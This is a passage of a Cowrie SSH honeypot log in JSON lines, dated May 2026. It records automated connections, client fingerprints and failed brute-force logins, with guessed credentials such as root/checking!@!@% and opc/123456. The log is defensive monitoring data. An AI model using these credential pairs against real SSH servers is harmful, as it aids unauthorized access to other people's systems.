v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:54.464659Z","src_ip":"192.109.200.237","session":"e3e2aae4e11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:54.710979Z","src_ip":"192.109.200.237","session":"e3e2aae4e11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:55.795892Z","src_ip":"192.109.200.237","session":"e3e2aae4e11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49690,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e55923b092","protocol":"ssh","message":"New connection: 192.109.200.237:49690 (159.203.135.109:22) [session: 46e55923b092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:57.423333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:57.428141Z","src_ip":"192.109.200.237","session":"46e55923b092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:57.612075Z","src_ip":"192.109.200.237","session":"46e55923b092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:57.919928Z","src_ip":"192.109.200.237","session":"46e55923b092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49416,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d59fa1b2cd6","protocol":"ssh","message":"New connection: 80.94.92.184:49416 (159.203.135.109:22) [session: 5d59fa1b2cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:58.791822Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:59.004864Z","src_ip":"192.109.200.237","session":"46e55923b092","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:59.049629Z","src_ip":"80.94.92.184","session":"5d59fa1b2cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:58:59.054022Z","src_ip":"80.94.92.184","session":"5d59fa1b2cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:00.236030Z","src_ip":"80.94.92.184","session":"5d59fa1b2cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52310,"dst_ip":"159.203.135.109","dst_port":22,"session":"570b66cd4032","protocol":"ssh","message":"New connection: 192.109.200.237:52310 (159.203.135.109:22) [session: 570b66cd4032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:00.771725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:00.779823Z","src_ip":"192.109.200.237","session":"570b66cd4032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:00.868333Z","src_ip":"192.109.200.237","session":"570b66cd4032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:01.120119Z","src_ip":"192.109.200.237","session":"570b66cd4032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:01.816402Z","src_ip":"80.94.92.184","session":"5d59fa1b2cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:02.205483Z","src_ip":"192.109.200.237","session":"570b66cd4032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03d98d95ae8","protocol":"ssh","message":"New connection: 192.109.200.237:52326 (159.203.135.109:22) [session: b03d98d95ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:04.023395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:04.031170Z","src_ip":"192.109.200.237","session":"b03d98d95ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:04.113924Z","src_ip":"192.109.200.237","session":"b03d98d95ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:04.360738Z","src_ip":"192.109.200.237","session":"b03d98d95ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:05.446804Z","src_ip":"192.109.200.237","session":"b03d98d95ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"afff5f8a46f5","protocol":"ssh","message":"New connection: 192.109.200.237:52332 (159.203.135.109:22) [session: afff5f8a46f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:07.121174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:07.125678Z","src_ip":"192.109.200.237","session":"afff5f8a46f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:07.213011Z","src_ip":"192.109.200.237","session":"afff5f8a46f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:07.533670Z","src_ip":"192.109.200.237","session":"afff5f8a46f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:08.620729Z","src_ip":"192.109.200.237","session":"afff5f8a46f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52028,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5a61f9a3c54","protocol":"ssh","message":"New connection: 192.109.200.237:52028 (159.203.135.109:22) [session: e5a61f9a3c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:10.372834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:10.378527Z","src_ip":"192.109.200.237","session":"e5a61f9a3c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:10.461115Z","src_ip":"192.109.200.237","session":"e5a61f9a3c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:10.710219Z","src_ip":"192.109.200.237","session":"e5a61f9a3c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:11.796763Z","src_ip":"192.109.200.237","session":"e5a61f9a3c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d1763b8d018","protocol":"ssh","message":"New connection: 192.109.200.237:52038 (159.203.135.109:22) [session: 3d1763b8d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:13.478849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:13.484430Z","src_ip":"192.109.200.237","session":"3d1763b8d018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:13.569907Z","src_ip":"192.109.200.237","session":"3d1763b8d018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:13.818416Z","src_ip":"192.109.200.237","session":"3d1763b8d018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8133165426","protocol":"ssh","message":"New connection: 89.108.118.91:60460 (159.203.135.109:22) [session: 8f8133165426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:14.201819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:14.207143Z","src_ip":"89.108.118.91","session":"8f8133165426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:14.346201Z","src_ip":"89.108.118.91","session":"8f8133165426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:14.765199Z","src_ip":"89.108.118.91","session":"8f8133165426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:14.903319Z","src_ip":"192.109.200.237","session":"3d1763b8d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:15.909619Z","src_ip":"89.108.118.91","session":"8f8133165426","protocol":"ssh"}
